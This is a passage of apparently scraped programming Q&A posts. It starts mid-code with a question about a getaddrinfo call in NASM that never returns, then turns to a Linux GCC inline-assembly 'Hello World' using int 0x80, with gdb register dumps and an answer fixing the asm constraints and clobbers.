push 0
push dword [ebp+0x08]
call [getaddrinfo] ; never returns
.return:
leave
ret 4
But the call of getaddrinfo never returns, so there is no error code or something else. To find the problem I wrote the same program in c, which works (!?) and looked at the resulting assembler code:
004016DD 83EC 08 sub esp, 8
004016E0 C745 DC 00000000 mov [dword ss:ebp-24], 0
004016E7 8D45 DC lea eax, [dword ss:ebp-24]
004016EA 894424 0C mov [dword ss:esp+C], eax
004016EE C74424 08 00000000 mov [dword ss:esp+8], 0
004016F6 C74424 04 00000000 mov [dword ss:esp+4], 0
004016FE C70424 64504000 mov [dword ss:esp], a.00405064 ; ASCII "www.google.de"
00401705 E8 12020000 call <jmp.&ws2_32.getaddrinfo>
It's not equal but at the moment before the call the stack is exactly the same in both examples. Why does getaddrinfo not return?
I'm working on Windows 7 64-bit, using nasm and alink.
I am trying to write a simple program that prints out a C string without using one of the linux system calls or the standard C library functions. This is for learning purposes only, and I would never do this in production (unless I got really good at it =)).
First my system info:
[mehoggan#fedora sandbox-print_chars]$ uname -a
Linux fedora.laptop 2.6.35.14-106.fc14.i686.PAE #1 SMP Wed Nov 23 13:39:51 UTC 2011 i686 i686 i386 GNU/Linux
[mehoggan#fedora sandbox-print_chars]$ gcc --version
gcc (GCC) 4.5.1 20100924 (Red Hat 4.5.1-4)
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Next the code:
#include <unistd.h>
#include <sys/syscall.h>
void main()
{
char *str = "Hello World";
while(*(str) != '\0') {
//printf("%c", *(str++));
//syscall(__NR_write, 1, *(str++), 1);
__asm__( "movl %0, %%ecx" :"=c" (str));
__asm__( "movl $0X4, %eax" );
__asm__( "movl $0X1, %ebx" );
__asm__( "movl $0X1, %edx" );
__asm__( "int $0X80" );
str++;
}
return;
}
Compiled with the following makefile:
all: sandbox_c
sandbox_c: sandbox.c
gcc -Wall -o sandbox_c ./sandbox.c
gcc -S -Wall -o sandbox_c.asm ./sandbox.c
Things compile just fine, I just cant get the syntax right to get the thing to work. Your corrections are greatly appreciated, but if you could also point me to how you obtained the solution that would be great. I am trying to get better at using the man pages etc.
ADDITION
Running the executable through gdb I can see that ecx is not being pointed at the right address:
[mehoggan#fedora sandbox-print_chars]$ gdb ./sandbox_c
GNU gdb (GDB) Fedora (7.2-52.fc14)
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/mehoggan/Code/Assembly/sandbox/sandbox-print_chars/sandbox_c...done.
(gdb) break sandbox.c:8
Breakpoint 1 at 0x80483a2: file ./sandbox.c, line 8.
(gdb) run
Starting program: /home/mehoggan/Code/Assembly/sandbox/sandbox-print_chars/sandbox_c
Breakpoint 1, main () at ./sandbox.c:8
8 while(*(str) != '\0') {
Missing separate debuginfos, use: debuginfo-install glibc-2.13-2.i686
(gdb) step
11 __asm__( "movl %0, %%ecx" :"=c" (str));
(gdb) info registers
eax 0x48 72
ecx 0x34092fad 873017261
edx 0x1 1
ebx 0x567ff4 5668852
esp 0xbffff2a4 0xbffff2a4
ebp 0xbffff2b8 0xbffff2b8
esi 0x0 0
edi 0x0 0
eip 0x80483a4 0x80483a4 <main+16>
eflags 0x200206 [ PF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) step
12 __asm__( "movl $0X4, %eax" );
(gdb) info registers
eax 0x48 72
ecx 0x34092fad 873017261
edx 0x1 1
ebx 0x34092fad 873017261
esp 0xbffff2a4 0xbffff2a4
ebp 0xbffff2b8 0xbffff2b8
esi 0x0 0
edi 0x0 0
eip 0x80483ab 0x80483ab <main+23>
eflags 0x200206 [ PF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) step
13 __asm__( "movl $0X1, %ebx" );
(gdb) info registers
eax 0x4 4
ecx 0x34092fad 873017261
edx 0x1 1
ebx 0x34092fad 873017261
esp 0xbffff2a4 0xbffff2a4
ebp 0xbffff2b8 0xbffff2b8
esi 0x0 0
edi 0x0 0
eip 0x80483b0 0x80483b0 <main+28>
eflags 0x200206 [ PF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) step
14 __asm__( "movl $0X1, %edx" );
(gdb) info registers
eax 0x4 4
ecx 0x34092fad 873017261
edx 0x1 1
ebx 0x1 1
esp 0xbffff2a4 0xbffff2a4
ebp 0xbffff2b8 0xbffff2b8
esi 0x0 0
edi 0x0 0
eip 0x80483b5 0x80483b5 <main+33>
eflags 0x200206 [ PF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) step
15 __asm__( "int $0X80" );
(gdb) info registers
eax 0x4 4
ecx 0x34092fad 873017261
edx 0x1 1
ebx 0x1 1
esp 0xbffff2a4 0xbffff2a4
ebp 0xbffff2b8 0xbffff2b8
esi 0x0 0
edi 0x0 0
eip 0x80483ba 0x80483ba <main+38>
eflags 0x200206 [ PF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) step
16 str++;
(gdb) info registers
eax 0xfffffff2 -14
ecx 0x34092fad 873017261
edx 0x1 1
ebx 0x1 1
esp 0xbffff2a4 0xbffff2a4
ebp 0xbffff2b8 0xbffff2b8
esi 0x0 0
edi 0x0 0
eip 0x80483bc 0x80483bc <main+40>
eflags 0x200206 [ PF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Try this:
__asm__ volatile ( "movl $0X4, %eax
movl $0X1, %ebx
movl $0X1, %edx
int $0X80"
: /* outputs: */ /* none */
: /* inputs: */ "c" (str)
: /* clobbers: */ "eax", "ebx", "edx");
I've not tested it, but the syntax looks right. You might need to add some more "clobbers" if the syscall overwrites anything else - check the documentation.
Breaking it down:
There's no need to move %0 to %ecx because the "c" constraint already did that.
str is an input, but you had it as an output.
volatile tells the compiler not to remove it - it has no output so the compiler might think it can.
You need to tell the compiler what registers are 'clobbered' by the code. I've added the obvious ones, but the system call might clobber more?
You need to put them in all one asm or the compiler might think it can move them around.
For whatever it's worth, calling "int 0x80" is making a system call.
You're just not using "printf", or using the standard C library wrappers for Linux syscalls.
And there's nothing wrong with that :)
Anyway, here's a complete example illustrating EXACTLY what you're after:
http://asm.sourceforge.net/intro/hello.html
'Hope that helps ... and have fun!